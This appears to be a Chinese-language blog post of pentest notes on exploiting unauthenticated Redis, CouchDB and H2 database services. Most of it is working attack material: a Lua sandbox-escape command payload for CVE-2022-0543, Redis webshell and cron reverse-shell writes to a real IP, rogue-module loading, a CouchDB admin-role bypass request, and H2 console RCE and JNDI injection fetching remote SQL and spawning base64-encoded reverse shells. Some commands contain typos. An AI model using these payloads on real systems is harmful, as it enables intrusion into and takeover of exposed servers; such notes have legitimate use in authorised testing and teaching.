当前位置: 首页 > news >正文

数据库安全-redisCouchdb

1.redis未授权访问

默认端口:6379

1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543

介绍:Redis 是一套开源的使用 ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

影响版本:仅为运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 以下Redis 服务。

 2.2 <= redis < 5.0.13

 2.2 <= redis < 6.0.15

 2.2 <= redis < 6.2.5

Poc:执行id 和pwd命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

1.2 redis 未授权访问(CNVD-2019-21763)

介绍:Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的AP!。由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.s0 文件,从而实现远程代码执行。

https://github.com/vulhub/redis-rogue-getshell
python redis-master.py-r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

1.3 未授权访问CNVD-2015-07557

写 webshell 需得到 web 路径

利用条件:web 目录权限可读写

config set dir /tmp     #设置WEB 写入目录

config set dbfilename 1.php     #设置写入文件名

set test "<?php phpinfo();?>"     #设置文件代码

bgsave     #保存执行
save    #保存执行

注意:部分没目录权限读写权限


写定时任务反弹 shell

config set dir /var/spool/cron

set yy "\n\n\n***** bash -i >& /dev/tcp/47.94.236.117/55550>&1\n\n\n"

config set dbfilename x

save

利用条件:安全模式protected-mode处于关闭状态

注意:centos会忽略乱码去执行格式正确的任务计划而 ubuntu并不会忽略这些乱码,所以导致命令执行失败

1.4 redis使用工具

https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py--rhost 目标IP --rport 目标端囗--lhost IP

2.数据库Couchdb

默认端口:5984

2.1 数据库Couchdb命令执行

(1)下载 exp.py

https://qithub.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
(2)修改目标和反弹地址


(3)Python执行脚本,攻击机开启监听

2.2 Couchdb 垂直权限绕过(CVE-2017-12635)

介绍:Couchclo垂直权限绕过(CVE-2017-12635Apache CouchDB 是一个开源数据库,专注于易用性和成为"完全拥抱 web 的数据库"它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP作为 API的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

(1)创建用户

PUT /_users/org.couchdb.user:用户名 HTTP/1.1
Host: 攻击IP:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
  "type": "user",
  "name": "用户名 ",
  "roles": ["_admin"],
  "roles": [],
  "password": "密码"
}

(2)登录验证

Get:/_utils/
用户名 密码登录成功

3 数据库应用-H2database--未授权访问&CVE漏洞

洞默认端口:20051
JavaSQ数据库H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

3.1 未授权进入

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
 

rce执行反弹

H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

H2 database的管理页面,访问http://主机:端口/h2-console

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

vim fuckh2db.sql  攻击机创建一个文件fuckh2db.sql

这个sql文件内容需要自己修改

反弹shell命令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (这个IP写你shell要反弹到哪台主机上的那个主机的IP)

CREATE TABLE test (

     id INT NOT NULL );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,把反弹shell的命令base64编码过后放在这里}|{base64,-d}|{bash,-i}");';

在攻击机上监听端口 nc -lvvp xxxx (这个端口要看你刚才反弹shell时对应的端口)

填入Payload使其加载远程SQL

下面这条命令的后面需要修改一下你自己攻击机的IP和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.91.129:89/h2database.sql';\

然后把命令写入到 JDBC URL中点击连接即可

返回监听的主机上 看到拿到了反弹过来的shell,命令执行成功

3.2H2database jndi注入

利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

工具地址:JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP

//反弹shell命令就行base64编码
/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

编码后:  bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

攻击端监听  nc -lvvp 6666

将生成出来的所提供的服务,输入到界面当中,进行连接

成功反弹shell


http://www.mrgr.cn/news/81305.html

相关文章:

  • Unittest02|TestSuite、TestRunner、HTMLTestRunner、处理excel表数据、邮件接收测试结果
  • PE文件结构
  • 大恒相机开发(2)—Python软触发调用采集图像
  • locust性能测试指南
  • STM32F407 | Embedded IDE02 - 调试、断点、观察全局变量(支持JLINK、STLINK、DAPLINK)
  • clickhouse优化记录
  • 鸿蒙-expandSafeArea使用
  • QT程序发布后,mysql在其它电脑设备无法连接数据库
  • Marscode AI辅助编程
  • Python超能力:高级技巧让你的代码飞起来
  • HTMLCSSJavaScriptDOM 之间的关系?
  • Kubernetes 架构图和组件
  • 医疗信息系统有哪些
  • MySQL 入门大全:常用函数
  • C/C++基础知识复习(45)
  • 修炼内功之函数栈帧的创建与销毁
  • 活着就好20241224
  • 守护爱犬健康:狗狗必打三针之解析
  • 【蓝桥杯——物联网设计与开发】基础模块8 - RTC
  • Linux字符设备驱动开发的三种方式(分析+对比+示例)
  • C++学习记录--b站黑马程序员视频——55 类和对象-多态-案例1-计算器类
  • Python(第一天)
  • 结合实例从HCI层分析经典蓝牙连接和鉴权过程
  • Vue3中路由跳转之后删除携带的query参数
  • 蓝牙协议——音乐启停控制
  • 深入理解批量归一化(BN):原理、缺陷与跨小批量归一化(CBN)